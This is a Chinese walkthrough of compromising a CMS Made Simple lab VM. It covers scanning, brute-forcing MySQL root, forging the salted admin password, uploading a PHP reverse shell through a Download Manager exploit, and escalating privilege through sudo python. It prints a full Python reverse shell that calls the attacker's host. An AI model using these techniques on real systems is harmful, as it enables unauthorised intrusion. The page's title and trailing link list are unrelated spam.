当前位置: 首页 > news >正文

桥西网站建设网站开发取名

桥西网站建设,网站开发取名,用什么软件可以做网站动态,牌子网排行榜**写在前面#xff1a;**记录一次艰难曲折的打靶经历。 目录1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 WEB服务探查4.1.1 浏览器访问4.1.2 目录枚举4.1.3 控制台探查4.1.4 其他目录探查4.2 阶段小结5. 公共EXP搜索5.1 CMS搜索5.2 Apache搜索5.3 PHP搜索5.4 MySQL搜索5… **写在前面**记录一次艰难曲折的打靶经历。 目录1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 WEB服务探查4.1.1 浏览器访问4.1.2 目录枚举4.1.3 控制台探查4.1.4 其他目录探查4.2 阶段小结5. 公共EXP搜索5.1 CMS搜索5.2 Apache搜索5.3 PHP搜索5.4 MySQL搜索5.5 CGI搜索6. 密码爆破6.1 爆破CMS控制台6.2 爆破phpmyadmin6.3 爆破MySQL6.3.1 构造密码字典6.3.2 实施爆破7. 探查MySQL数据库8 分析CMS公共EXP漏洞8.1 Showtime28.2 Download Manager8.3 Antz toolkit8.4 简单分析9. 分析CMS控制台登录9.1 找源码9.2 分析源码10. CMS控制台利用10.1 安装Download Manager10.2 利用EXP10.3 构建php的反弹shell11. 突破边界12. 提权12.1 探查/etc/passwd12.2 枚举操作系统信息12.3 枚举可执行文件12.4 枚举定时任务12.5 利用公共EXP提权12.5.1 搜索公共EXP12.5.2 利用提权EXP12.6 查找凭据12.7 查看sudo权限12.7.1 编写python脚本12.7.2 再次提权13. 获取flag1. 主机发现 目前只知道目标靶机在56.xx网段通过如下的命令看看这个网段上在线的主机。 $ nmap -sP 192.168.56.0/24确定目标靶机的IP地址是192.168.56.102。 2. 端口扫描 通过下面的命令对目标靶机进行全端口扫描。 $ sudo nmap -p- 192.168.56.102从上面可以看出目标靶机上除了ssh服务之外还有web应用以及mysql服务。 3. 服务枚举 接下来通过下面的命令直接枚举上述开放端口上的服务。 $ sudo nmap -p22,80,3306,33060 -A -sV -sT 192.168.56.102通过端口上的服务枚举确定了OpenSSH、Apache、MySQL服务的版本号这为后面的进一步探查确定了大致的范围。接下来我们将依次探查web服务、mysql服务实在不行在探查openssh服务。 4. 服务探查 4.1 WEB服务探查 4.1.1 浏览器访问 首先通过浏览器直接访问靶机的80端口看看有什么收获。 貌似是一个CMS主页内容比较多从“Manage your Website anywhere and anytime”可以看出这个站点可能存在一个远程的web管理console另外从主页的右下角可以看出当前CMS Made Simple的版本是2.2.13。 等会儿没有思路的时候再回来依次点击可以点击的内容看看有什么具体的发现。 4.1.2 目录枚举 通过下面的命令进行一下目录枚举。 $ dirsearch -u http://192.168.56.102果然应验了我们前面的猜测枚举出的web站点目录中有管理console的登录页面上面红圈中的内容使我们关注的重点我们首先从管理console入手因为这里的权限时2xx和3xxx几乎没有限制。 4.1.3 控制台探查 通过浏览器访问一下确实打开的是管理控制台的登录页面。 直接输入用户名admin和密码testpwd我也不知道用户名和密码是啥随便输入即可尝试登录一下看看返回啥内容吧。 登录失败预料之中的事情我们重点关注提交的表单参数以及请求和响应中的cookie等内容。 再次尝试请求用户名testusr密码testpass看看哪些是变化的哪些是不变的。 经过多次尝试发现响应消息中的cookie不变请求消息中的Cookie在不重新打开浏览器的情况下也不变这多少出乎我的预料暂时放一边等会儿确实需要爆破的时候再研究细节。 接下来尝试一下忘记密码的操作点击登录页面的忘记密码连接进入忘记密码处理页面。随便输入一个用户名点击提交提示用户不存在。 这有点意思说明这里可以进行管理员用户枚举因为CMS安装的时候是需要设置管理员用户的。 再用admin用户进行忘记密码的提交试试看。 返回500错误跟随便输入用户的时候反映不一样啊这说明admin用户很有可能是存在的实在不行的时候可以尝试爆破这个用户。 4.1.4 其他目录探查 通过浏览器进到assets。 有些内容逐个点开看一下吧。 基本上都是类似下面的404没啥具体收获包括doc、modules、lib目录都是一样的。 然后看一下phpinfo.php通过浏览器进去http://192.168.56.102/phpinfo.php。 内容比较多我们可以从中发现PHP的版本以及管理员账号信息。 除此之外还可以得到apache的环境信息、php的环境信息、mysql的具体版本等等没有太多亮眼的信息还是看一下phpmyadmin下面都有些啥吧这里目录枚举的时候都是401状态应该有些内容。 额需要用户名密码估计有了用户名密码就可以进去了。 接下来看看tmp目录下都有些啥。 进去看了一下cache和templates_c底下也没有实际内容都是404还剩最后一个uploads目录进去看看也没有实际内容。 4.2 阶段小结 到目前为止我们已经在web服务里面探查了好久至少得到了两个管理控制台一个是CMS的管理控制台并且管理员用户很可能就是admin另一个是MySQL的管理控制台phpmyadmin待会儿可以尝试逐个爆破。 5. 公共EXP搜索 接下来我们搜索一下对应服务的公共EXP。 5.1 CMS搜索 结果不太理想优化一下关键词试试看。 更加没有相关性暂时放弃CMS的公共EXP利用。 5.2 Apache搜索 也没有合适的公共EXP。 5.3 PHP搜索 也没有合适的EXP。 5.4 MySQL搜索 MySQL的搜索结果也不太理想phpmyadmin试试看。 结果比较多目前我们还不知道目标靶机的phpmyadmin版本是多少但是搜索结果中有些不限版本的等会儿可以试试看。 5.5 CGI搜索 记得目标靶机有CGI/1.1的组件搜索一下看看。 搜索结果基本没有相关性暂时放弃。 6. 密码爆破 6.1 爆破CMS控制台 我们要爆破admin用户的密码所以我们需要在burp的intruder中先设置密码为需要参数化的项如下图。 说明经过手工测试验证这里的Cookie不会变化所以这里暂时不做参数化。 接下来我们在payloads中设置密码字典。 设置好后点击右上角的“start attack”进行蛮力攻击如果弹出下图所示的告警对话框直接OK即可。 然后会自动新打开一个对话框进行记录攻击的过程。 说明这里忘记设置校验过程了如果能够成功爆破最后看那个length长度不一样的结果即可。 经历一个多小时没有爆破成功暂时放弃。 6.2 爆破phpmyadmin 接下来尝试爆破一下phpmyadmin吧先用burp抓包看一下请求与响应内容。 这是一个HTTP的get请求用户名和密码以上图所示的base64编码的方式放到请求头的Authorization字段里面如果认证失败会返回401的代码。 这里重点参照大神的帖子https://blog.csdn.net/weixin_50464560/article/details/119273112。 说明本来第三个参数应该是通过load加载密码表的可能是密码表过大加载失败只能拆分。 最后在Payload Processing下面点击add添加base64编码规则。 启动attack。 等了半天也没有爆破成功只好放弃。 6.3 爆破MySQL 只剩一个mysql远程接入的口子了尝试爆破一下。先手工连接一下试试看。 $ mysql -h 192.168.56.102 -uroot -p 嗯可以正常访问那就直接爆破一下还是用kali自带的hydra密码字典用john构造一下。 6.3.1 构造密码字典 基础字典选择root、mysql、admin然后在后面缀上0~3个阿拉伯数字。john.conf配置如下。 说明这里更正一下之前的文章说错了添加了$[0-9] $[0-9] $[0-9]之后生成的字典中包含了以基础字典里面单词为前缀后面跟0~3个阿拉伯数字的所有组合比如admin、admin1、admin11、admin111等等。 通过下面的命令构造密码字典。 $ john --wordlistorigin_word.txt --rules --stdout pwd.txt6.3.2 实施爆破 通过下面的命令实施爆破。 $ hydra -l root -P pwd.txt 192.168.56.102 mysql运气太好了密码就是root早知道这样不费这么多劲去构造密码字典进行爆破了应该先用root登录尝试一下。 $ mysql -h 192.168.56.102 -uroot -proot7. 探查MySQL数据库 既然能够以root登录数据库接下来我们先探查一下数据库中有些啥。 有点意思里面有CMS的数据库进入cmsms_db看看相关的表以及表中的内容不再赘述。 我们发现cms_users表中只有一个admin用户这印证了我们前面验证的admin用户确实存在但是从这里看不出admin的密码我们尝试用hash-identifier来看看。 $ hash-identifier fb67c6d24e756229aab021cea7605fb3意思是说最有可能的密码是MD5散列后的值跑了这么远都没有实质突破先自己构造一个密码的MD5然后替换原来的试一下再说吧。生成MD5。 替换原有的密码。 MySQL [cmsms_db] update cms_users set passwordcc03e747a6afbbcbf8be7668acfebee5 where usernameadmin;说明实战过程中尽量不用这么做这可能会被管理员察觉。如果真要这么做也应建议用完之后尽快恢复回原有的密码。 迫不及待地用修改后的密码试了一下还是失败了估计使用了加盐的机制。 在加盐的情况下想要突破只能研究CMS登录时的加盐机制这得分析CMS的登录处理的源代码才可能实现不太可行而且耗时。 8 分析CMS公共EXP漏洞 前面已经搜索过CMS的公共EXP漏洞没有真正匹配我们版本2.2.13的漏洞。 接下来我们将逐步分析一下不受CMS版本限制的四个漏洞第一个和最后三个。 8.1 Showtime2 8.2 Download Manager 8.3 Antz toolkit 8.4 简单分析 从上面涉及三个模块的四个漏洞利用代码来看貌似都是需要先登录到CMS才可以所以目前我们别无选择只有想办法研究CMS登录时的密码加盐机制。 9. 分析CMS控制台登录 9.1 找源码 Google一下CMS的源码有两个相对比较可靠的查阅点一个是CMS官方给出的浏览地址。 http://viewsvn.cmsmadesimple.org/listing.php?repnamecmsmadesimplepath%2Fsc0 另一个是Git上的https://github.com/cmsmadesimple。 我这里使用前者打开上面的地址进入branches下面找到合适的代码点击Download下载即可我这里选择的是最接近2.2.13版本的2.2.17-b如下图。 9.2 分析源码 下载完成解压以后直接导入VS Code。 打开admin目录下的login.php看上去稳如老狗实际上慌得一逼这是我第一次看php代码各位见笑了。 快速浏览一下代码中先实现了密码找回的逻辑然后是处理登录的逻辑个人感觉下图所示的部分就是登录处理逻辑似懂非懂。 但是真正的登录处理逻辑就应该在标红的代码上因为前面是判断用户名密码是否存在后面就直接根据oneuser来抛异常了。先百度一下php中的“-”是啥意思吧让各位见笑了。 大致是调用了userops的LoadUserByUsername函数暂且这么理解吧全局搜索一下这个函数。 嗯是在class.useroperations.inc.php中定义的转到函数定义的地方仔细看看。 终于找到了貌似是用sitemask加盐的。关键是这个sitemask又是个什么鬼呢全局搜索显然成了我这个php白痴的法宝看看这个get_site_preference是从哪里弄到这个sitemask的。 感觉有点眉目了可能跟数据库表cms_userprefs有关系不过这里没有sitemask啊再全局搜一下sitemask看看。 嗯又是一个表cms_siteprefs。看来sitemask不外乎这两张表了进数据库查一把。 感觉有些对不上了这里面并没有mask之类的字样再回去看看代码。在前面的LoadUserByUsername函数中参与MD5计算的盐值是一个名为get_site_preference的函数的返回值。 顺藤摸瓜看看这个get_site_preference函数的定义。 里面简单调用了cms_siteprefs类的get方法继续摸瓜。 cms_siteprefs类的get方法定义也比较明确如果找到了第一个参数指定的值则返回之如果找不到则返回函数调用时指定的默认值这里是空值’’。前面查过cms_siteprefs表貌似没有找到sitemask有关的东西再回来看看。 猛然意识到本质原因还是自己道行不够深sitemask可能不是Field名称而是sitepref_name下面的值直接进去搜索一下试试看。 MySQL [cmsms_db] select * from cms_siteprefs where sitepref_name sitemask;还真是这样子既然找到了sitemask直接将它作为盐值参与MD5计算。 MySQL [cmsms_db] update cms_users set passwordmd5(CONCAT(a235561351813137,test123)) where usernameadmin;加入盐值修改密码后再次尝试使用test123登录admin用户成功了。 10. CMS控制台利用 10.1 安装Download Manager 从前面的分析我们已经知道CMSMS上相对比较靠谱的漏洞集中在三个模块上Showtime2、Antz Toolkit、Download Manager。并且涉及Showtime2的两个漏洞需要用到Metasploit或者授权Antz模块在CMSMS的官网上没找到因此直接使用Download Manager先从官网http://dev.cmsmadesimple.org/project/files/522下载EXP漏洞对应1.4.1版本。 直接下载xml版本然后从CMSMS控制台的“Site Admin/Module Manager”导入进去。 导入之后在Module Manager页面显示如下还不能正常使用。 点击Action一栏中对应的Install菜单安装该模块安装完成后Download Manager的状态如下。 并且在顶部会收到如下的提示信息。 貌似还得配置下载目录并赋予777的权限不知道是不是能够正常实现先往下走走看吧。 10.2 利用EXP 既然我们已经安装好了Download Manager接下来我们利用前面下载的EXP代码34298.py。整体看了一下代码没啥大问题接下来修改一下host变量指向我们的目标靶机。 然后运行一下脚本。 嗯报错了看一下报错的代码。 从代码来看没有正常解析socket发送post请求之后的响应消息。在socket的recv函数下面添加一行打印响应消息的代码看看响应是啥。 再次运行。 报404了说明我们的URL有问题再回去检查一下代码。 每个请求的路径前面都有一个前缀/cmsms但实际上我们在浏览器中访问靶机各个页面的时候是没有这个前缀的如下图。 直接去掉这个前缀修改后的代码如下。 再次运行EXP。 虽然打印的返回消息体有乱码导致第51行代码出错但是实际上我们的shell上传成功了仔细查看代码会发现报错部分是用于解析处理上传shell的路径的。暂时忽略这个错误直接去这个“/modules/DownloadManager/lib/simple-upload/”路径下看看都有些啥。 都是这几次运行脚本时传上来的内容至少上传成功了文件名都是“shell_xxxxx.php”其中xxxxx是随机的。其它几个不是以shell_xxx命名的文件逐个手工打开看一下。 发现example.php文件貌似可以用于上传文件的入口啊。等会儿直接用这个页面进行上传我们的反弹shell试试看吧。我前面使用的exp代码也没有太看明白应该把反弹shell写在哪里好自己手动上网搜索构建一个。 10.3 构建php的反弹shell 上网搜索构建包含反弹shell的php脚本内容如下所示其中IP地址和端口是Kali主机的IP地址和nc监听端口。 先在kali主机上开启对4444端口的监听。 通过前面的example.php页面上传包含反弹shell的php脚本试试看。通过页面的Browse选择我们构建的revers.php然后点击Send File上传。 点击Send File之后页面回显显示上传成功了。 通过浏览器回到上一层的simple-upload目录看一下我们的php文件上传成功时间显示也是正确的。 这时候发现我们kali主机上的nc监听并没有反映。 11. 突破边界 手工访问一下我们刚刚上传的php文件因为我们的php文件中没有实际要显示的内容只是一个简单的反弹shell所以浏览器页面会一直转圈圈。这时候再次查看我们的nc监听反弹shell成功建立。 这可能是因为只有请求对应的php文件时才会执行对应的代码所以当我们浏览器请求的时候才会真正构建反弹shell。这只是我个人的瞎猜。 12. 提权 这个靶机太折腾了到现在才完成突破边界的工作接下来就要提权了。 12.1 探查/etc/passwd 从上面的输出可以看出当前用户www-data是没有办法直接从ssh登录的可以手工尝试一下。 根本就不给机会包括root用户也是一样的。 这说明通过爆破root的密码进行提权是不可能的。 12.2 枚举操作系统信息 Debian 10版本64位系统内核版本是4.19.98-1。 12.3 枚举可执行文件 搜索一下root用户所有的其它用户可读可写的可执行文件。 www-datamycmsms:/var/www$ find / -type f -user root -perm -ow 2/dev/null基本没有发现什么有价值的信息然后查找一下带有SUID标记的文件。 www-datamycmsms:/var/www$ find / -perm -us -type f 2/dev/null有个binary.sh的脚本看看有没有戏。 脚本内容有点简单的不像话啊直接运行一下试试看。 我擦竟然可以直接运行不过就算能够修改这个脚本添加了反弹shell我运行的时候反弹回来的应该还是www-data用户达不到提权的目的。既然到了这里花上30秒试试看吧说不定撞大运呢。 看来我想多了这个文件对于www-data用户可读、可执行但是不可写。 12.4 枚举定时任务 ww-datamycmsms:/var/www$ ls -lah /etc/cron*意义不大直接看一下crontab的内容。 没有什么帮助并且该文件也没有写权限修改不了。 12.5 利用公共EXP提权 12.5.1 搜索公共EXP 既然前面提取了系统的指纹直接搜索一下对应的系统有没有可利用的公共EXP。 初步感觉这四个都能够提权逐个试试看。 12.5.2 利用提权EXP 大概浏览了一下四个代码文件相对来说47163可能更靠谱一些因为在debian10上测试过。先从这个下手直接编译。 $ gcc -s 47163.c -o ptrace_traceme_root没报任何错误将编译后的ptrace_traceme_root上传到目标靶机。 $ python3 -m http.server 80直接在目标靶机下载。 $ wget http://192.168.56.107/ptrace_traceme_root直接运行。 $ ./ptrace_traceme_root失败了修改一下权限再次执行试试看。 可以执行了但是报错了看看靶机有没有gcc有的话等会儿我们直接在靶机编译。 嗯还真有直接在靶机下载c代码。 $ wget http://192.168.56.107/47163.c编译一下。 $ gcc -s 47163.c -o ptrace_traceme_root再次运行试试看。 又失败了报了其它错误。搜索了一下目标靶机上确实没有对应的文件或者路径。 有人说这个应该是linux桌面freedestop上的东西如果不是桌面版的linux可能不存在所以我们只能放弃47163。 转到其它几个试试看采用同样的方法不再赘述。 完犊子了每个都有错误。 12.6 查找凭据 到目前为止感觉能用的招数都用上了。www-data这个用户我总是感觉怪怪的并且在提权的一开始我们就发现了这个用户没办法直接从SSH登录。既然我们通过四个内核提权漏洞提权失败又不能爆破这个www-data用户我们再次查看/etc/passwd看看还有没有别的收获。 貌似这里面还有个用户并且是唯一允许ssh登录的非root账号。用这个账号登录试一下。 也不允许通过ssh登录包括之前的root用户都不可以。看看能否从www-data切换过去。 可以切换过去但是需要密码。既然这样我们还是回到www-data用户所能够查看的内容下看看能不能找到对应的密码找不到的话再想其它办法。 armour用户下的文件没有权限查看。先看看www-data用户下自己的文件吧直接进入www-data的HOME目录下搜索。 这还是之前我们通过apache的80端口进行目录枚举的地方我们逐个目录进去看看看是否能够发现一些通过目录枚举或者浏览器没有找到的内容。从admin目录从上到下依次查看。 目录下文件比较多除了php脚本文件之外最显眼的就是开始的两个临时文件.htaccess和.htpasswd看看这俩文件里面都是些啥。 有点意思在.htpasswd里面有个字符串貌似是编码过的或者是个摘要之类的先用hash-identifier看看。 额看来不是摘要类的再看看是不是base64/32/16编码的内容。 嗯用base32/16都解不出信息死马当活马医吧把base64解出的内容再用base64/32/16解一把试试看。 哈比较幸运竟然直接解出了armour的密码直接su到armour试试看。 貌似这个shell也挺诡异的输入密码之后没啥动静啊随便敲个命令试试看。 从上面可以看出实际上是有反应的只是不显示shell提示符。然后直接用这个密码su到root用户试试看。 嗯我太天真了先看看armour用户的HOME目录下有些啥吧。 逐个看一下。 /tmp下面有个test.py看看里面有些啥。 文件被删除了再回来逐个看HOME下的文件。 看看这里提到的clear_console文件。 没啥有价值的内容继续下去.bashrc中没有发现有价值的信息跳过binary.sh前面已经看过了再看看.gnupg。 额这下面有个密钥有关的目录进去看看。 空的继续看下面的.profile。 也没啥干货还剩最后一个.viminfo进去看看。 也没啥有用的信息。 12.7 查看sudo权限 再看看sudo权限信息吧再不行就放弃了 额到了我的知识盲区意思是armour用户以root用户的方式运行/usr/bin/python命令并且不需要密码吗会不会是我如果用sudo /usr/bin/python xxxx.py就是以root用户运行python脚本试试看。 12.7.1 编写python脚本 发现没法在armour下直接通过vi编辑脚本。直接通过echo将下面的代码写入到脚本。 #!/usr/bin/python import os, subprocess, socketssocket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((192.168.56.107,8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) psubprocess.call([/bin/sh,-i])整体的命令如下。 echo #!/usr/bin/python import os, subprocess, socketssocket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((192.168.56.107,8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) psubprocess.call([/bin/sh,-i]) mypython.py通过cat查看一下。 基本OK。 12.7.2 再次提权 在kali主机上开启监听。 然后通过sudo运行一下试试看。 sudo /usr/bin/python mypython.py直接就反弹成功从提示符#来看应该是root权限了验证一下。 13. 获取flag 既然是root了直接提取flag吧。 这是目前经历的最曲折的一个靶机。
http://www.hkea.cn/news/14431859/

相关文章:

  • 动漫设计工作室网站建设公司怎么做网站小图标
  • 网站建设与程序编辑北京网站建设排名
  • 上海网站建设托管纯免费聊天的app
  • 网站后台管理系统进入wordpress 博客页面至多显示
  • 重庆网站建设 熊掌号睢阳区网
  • 做资料分享网站有哪些html网页设计实训报告范文
  • 做的网站客户拿去维违法简述电子商务网站开发过程
  • 网站关键词用什么隔开桐乡 网站建设
  • 建设网站优化荆门网站seo
  • 白云区网站开发企业课程培训
  • 做网站怎么把背景变成纯色推广型网站如何建站
  • 宿豫区建设局网站thinkphp 网站下载
  • 公司网站备案要多久l流行wordpress
  • 和平天津网站建设谢岗镇网站建设公司
  • 罗湖做网站联系电话庆祝公司网站上线
  • 嵊州市建设局网站北京那家建网站好
  • 有网址 有空间怎么做网站怎么在平台上做推广
  • 网站建设纪念币发售建设生活app官方下载
  • 国外优秀论文网站小程序介绍怎么写吸引人
  • 织梦网站怎么做下载地址网页游戏排行榜图标
  • 怎么做国外的网站吗一般淘宝网站做几个月赚钱
  • 做单页网站要多少钱上海建站seo
  • 特别酷炫网站邢台企业做网站报价
  • 东莞网站优化排名诊断网站主题栏目分类
  • 河南专业网站建设创新中心襄阳市网站建设
  • 郑州网站建设有限公司重庆网站空间费用
  • 婺源做微信网站徐州沛县网站建设
  • 诸城哪里做网站青岛市住房城乡建设厅网站
  • 湖南常德地图佛山seo优化
  • 网站设置手机版一个基于php网站开发课题设计的业务流程描述